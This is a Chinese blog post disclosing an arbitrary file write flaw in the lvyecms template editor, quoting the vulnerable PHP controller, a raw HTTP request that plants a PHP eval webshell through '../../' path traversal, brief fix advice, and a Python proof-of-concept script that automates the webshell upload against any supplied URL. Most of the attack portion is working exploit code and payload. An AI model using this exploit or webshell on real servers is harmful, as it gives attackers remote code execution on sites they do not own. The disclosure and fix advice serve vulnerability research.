lvyecms任意文件写入

lvyecms是基于thinkphp框架进行开发,且后台新建模板处未对写入内容进行过滤,且文件名后缀写死为php文件,导致了任意文件写入漏洞。

 

 

问题出在\lvyecms\Application\Template\Controller\StyleController.class.php

我们直接看这个add函数

//添加模板
    public function add() {
        if (IS_POST) {
            //取得文件名
            $file = pathinfo(I('post.file'));
            $file = $file['filename'] . C("TMPL_TEMPLATE_SUFFIX");
            //模板内容
            $content = \Input::getVar(I('post.content', '', ''));
            //目录
            $dir = TEMPLATE_PATH . I('post.dir', '', '');
            $dir = str_replace(array("//"), array("/"), $dir);
            //检查目录是否存在
            if (!file_exists($dir)) {
                $this->error("该目录不存在!");
            }
            //检查目录是否可写
            if (!is_writable($dir)) {
                $this->error('目录 ' . $dir . ' 不可写!');
            }
            //完整新增文件路径
            $filepath = $dir . $file;
            if (file_exists($filepath)) {
                $this->error("该文件已经存在!");
            }
            //写入文件
            $status = file_put_contents($filepath, htmlspecialchars_decode(stripslashes($content)));
            if ($status) {
                $this->success("保存成功!", U("Template/Style/index"));
            } else {
                $this->error("保存失败,请检查模板文件权限是否设置为可写!");
            }
        } else {
            //取得目录路径
            $dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\\', '../', './', '.\\', '.',), '', trim(urldecode($_GET['dir']))) : '';
            $dir = str_replace("-", "/", $dir);
            if (!file_exists(TEMPLATE_PATH . $dir)) {
                $this->error('该目录不存在!');
            }
            $this->assign('dir', $dir);
            $this->display();
        }
    }

这里可以很清楚的看到,他分别获取了文件名、文件路径以及文件内容。然后对文件名以及路径进行拼接,最后将内容写入到文件中。可以看到这个位置,没有对我们写入的值进行任何过滤,那么我们可以对路径以及文件内容进行修改,导致写入../../../文件的马。

 

复现

在功能处添加文件

抓到这个包,可以看到这个dir参数我们是可控,这里我们直接../../回溯到根目录,这里给空参数的话,我们是没有执行权限的。

POST /lvyecms/index.php?g=Template&m=Style&a=add HTTP/1.1
Host: 192.168.0.105
Content-Length: 72
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.105
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.105/lvyecms/index.php?g=Template&m=Style&a=add&dir=
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=h40bdv4mpeugub5r70tp1l6691; menuid=92
Connection: close

dir=../../&file=test&content=%3C%3Fphp+eval%28%24_POST%5B%27cmd%27%5D%29%3B%3E

可以看到这个木马已经被我们写入

测试连接

修复方式:

过滤../字符

对文件内容进行检索过滤

 

poc

#江楠风景好
import requests
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-u')
args = parser.parse_args()

def POST_data(url):
    url1 = url + '?g=Template&m=Style&a=add'
    with open('test.txt','r') as f:
        file = f.read()
    headers = {
        'Content-Length': '78',
        'Cache-Control': 'max-age=0',
        'Upgrade-Insecure-Requests': '1',
        'Content-Type': 'application/x-www-form-urlencoded',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36',
        'Accep': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Cookie': 'PHPSESSID=bcqgtgs0v57nseivd3kl7cbpt7; menuid=92',
        'Connection': 'close'
    }
    data = {'dir': '../../',
            'file': 'emoji',
            'content': file}
    r = requests.post(url=url1,data=data,headers=headers)
    print(r)
POST_data(args.u)
posted @ 2022-04-29 10:08  江楠O_O  阅读(232)  评论(0编辑  收藏  举报